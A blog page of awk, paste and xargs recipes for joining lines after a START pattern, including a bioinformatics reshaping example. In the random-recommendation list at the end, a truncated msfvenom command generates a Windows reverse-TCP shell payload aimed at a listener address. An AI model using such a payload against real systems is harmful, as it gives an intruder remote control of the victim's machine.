Linux/shell: Concatenate multiple lines to one line
$ cat file
START
Unix
Linux
START
Solaris
Aix
SCO 1. Join the lines following the pattern START without any delimiter.
$ awk '/START/{if (NR!=1)print "";next}{printf $0}END{print "";}' file
UnixLinux
SolarisAixSCO
2. Join the lines following the pattern START with space as delimiter.
$ awk '/START/{if (NR!=1)print "";next}{printf "%s ",$0}END{print "";}' file
Unix Linux
Solaris Aix SCO
3. Join the lines following the pattern START with comma as delimiter.
$ awk '/START/{if (x)print x;x="";next}{x=(!x)?$0:x","$0;}END{print x;}' file
Unix,Linux
Solaris,Aix,SCO
4. Join the lines following the pattern START with comma as delimiter with also the pattern matching line.
$ awk '/START/{if (x)print x;x="";}{x=(!x)?$0:x","$0;}END{print x;}' file
START,Unix,Linux
START,Solaris,Aix,SCO
5. Join the lines following the pattern START with comma as delimiter with also the pattern matching line. However, the pattern line should not be joined.
$ awk '/START/{if (x)print x;print;x="";next}{x=(!x)?$0:x","$0;}END{print x;}' file
START
Unix,Linux
START
Solaris,Aix,SCO
6. Other ways:
paste -d, -s file
cat file | xargs
REF:
http://www.theunixschool.com/2012/05/awk-join-or-merge-lines-on-finding.html
https://stackoverflow.com/questions/15758814/turning-multiple-lines-into-one-line-with-comma-separated-perl-sed-awk
==========================================================
AC M07451
ID V$PBX1_10
NA PBX1
AC M07452
ID V$MEIS1_06
NA Meis1
AC M07453
ID V$MEIS1BHOXA9PBX1A_01
NA Meis1b:Hoxa9:Pbx1a
AC M07454
ID V$GLI1_Q3_01
NA Gli1
AC M07455
ID V$GLI2_Q3
NA Gli2
AC M07456
ID V$HOXA913_Q4
NA HOX 9-13
awk '$0 ~ /^AC|^ID|^NA/' conserved.new \
| awk '/AC /{if (x)print x;x="";}{x=(!x)?$0:x","$0;}END{print x;}' \
| sed 's/AC //g' | sed 's/,ID /\t/g' | sed 's/,NA /\t/g' \
> genesymbol
M07451 V$PBX1_10 PBX1
M07452 V$MEIS1_06 Meis1
M07453 V$MEIS1BHOXA9PBX1A_01 Meis1b:Hoxa9:Pbx1a
M07454 V$GLI1_Q3_01 Gli1
M07455 V$GLI2_Q3 Gli2
==========================================================
more file
start111
aa
bb
cc
start222
dd
ee
awk '/start/{if (x)print x;x="";}{x=(!x)?$0:x","$0;}END{print x;}' file > bbb
more bbb
start111,aa,bb,cc
start222,dd,ee
awk -F"[|, ]" '{for(i=2;i<=NF;i++){print $1"|"$i}}' bbb
start111|aa
start111|bb
start111|cc
start222|dd
start222|ee
Linux/shell: Concatenate multiple lines to one line的更多相关文章
- linux shell unzip multiple zip files
find . -name "*.result.zip" | xargs -n 1 unzip - -P password -d ../ext_logs
- Bash For Loop Examples for Your Linux Shell Scripting--ref
There are two types of bash for loops available. One using the “in” keyword with list of values, ano ...
- linux shell命令之wc/split及特殊字符
[时间:2018-07] [状态:Open] [关键词:linux, wc, split, 通配符,转义符,linux命令] 0 引言 整理这篇文章的目的不是为了什么学习,仅仅是为了强化下记忆,以便下 ...
- Linux Shell基础(下)
Linux Shell基础(下) 目录 一.shell特殊符号cut命令 二.cut.sort.wc.uniq命令 三.tee.tr.split命令 四.简易审计系统 五.fork, exec, so ...
- Linux Shell 裡一些很少用到卻很有用的指令
Linux Shell 裡一些很少用到卻很有用的指令 2009年11月30日 13:53:00 yaoyasong 阅读数:414 Linux Shell 裡一些很少用到卻很有用的指令 你是不是已 ...
- Linux shell下30个有趣的命令
Tips 原文作者:Víctor López Ferrando 原文地址:30 interesting commands for the Linux shell 这些是我收集了多年的Linux she ...
- linux shell 总结 (整理)
ls /usr/bin/ info #路径操作 dirname basename #“”和‘’与 ` ` 在shell变量中的区别 “ ” 允许通过$符引用其他变量 ‘’禁止引用其他变量符,视为普通字 ...
- LINUX SHELL脚本攻略笔记[速查]
Linux Shell脚本攻略笔记[速查] 资源 shell script run shell script echo printf 环境变量和变量 pgrep shell数学运算 命令状态 文件描述 ...
- Linux-(3)Linux Shell 使用
三.Linux Shell 3.1 文件管理 3.1.1 ls 命令 显示指定工作目录下的内容及属性信息 ls 命令是Linux下最常用的指令之一.ls命令为英文单词 list 的缩写,正如英文单词 ...
随机推荐
- Msfvenom木马使用及TheFatRat工具
msfvenom –platform windows -p windows/x64/shell/reverse_tcp LHOST=192.168.168.111 LPORT=3333 EXITFUN ...
- Keras 处理 不平衡的数据的分类问题 imbalance data 或者 highly skewed data
处理不平衡的数据集的时候,可以使用对数据加权来提高数量较小类的被选中的概率,具体方式如下 fit(self, x, y, batch_size=32, nb_epoch=10, verbose=1, ...
- 20155228 2016-2017-2 《Java程序设计》第3周学习总结
20155228 2016-2017-2 <Java程序设计>第3周学习总结 教材学习内容总结 认识对象 类与对象 类和对象的关系:类是对象的设计图,对象是类的实例 参考:将"名 ...
- IoC, DI,Spring.net
IoC : Inversion of Control , 控制反转,就是创建对象(实例)的权利由开发人员自己控制New转到了由容器来控制.实现了解耦. DI: Dependency Injection ...
- 【Hadoop学习之八】MapReduce开发
环境 虚拟机:VMware 10 Linux版本:CentOS-6.5-x86_64 客户端:Xshell4 FTP:Xftp4 jdk8 hadoop-3.1.1 伪分布式:HDFS和YARN 伪分 ...
- CodeReview实践与总结
CodeReview 是大型软件工程中公认的必不可少的保证工程质量的重要手段之一.但凡正规软件作战军团都是非常重视 CodeReview 的作用和意义的.那么,如何做好 CodeReview 呢?这里 ...
- python 读csv文件时,在csv类型上执行类型转换
csv 产生的数据都是字符串类型的,它不会做任何其他类型的转换.如果需要做这样的类型转换,必须自己手动去实现 import csv,re from collections import namedtu ...
- RNN实例
https://blog.csdn.net/jmh1996/article/details/78821216
- Java8的CompletionService使用与原理
为了防止无良网站的爬虫抓取文章,特此标识,转载请注明文章出处.LaplaceDemon/ShiJiaqi. https://www.cnblogs.com/shijiaqi1066/p/1045423 ...
- windows下多个python版本共存,如何在Windows7系统上安装最新的64位Python3.6.2
windows下多个python版本共存,如何在Windows7系统上安装最新的64位Python3.6.2 1.官网下载python3.6.2https://www.python.org/ftp/p ...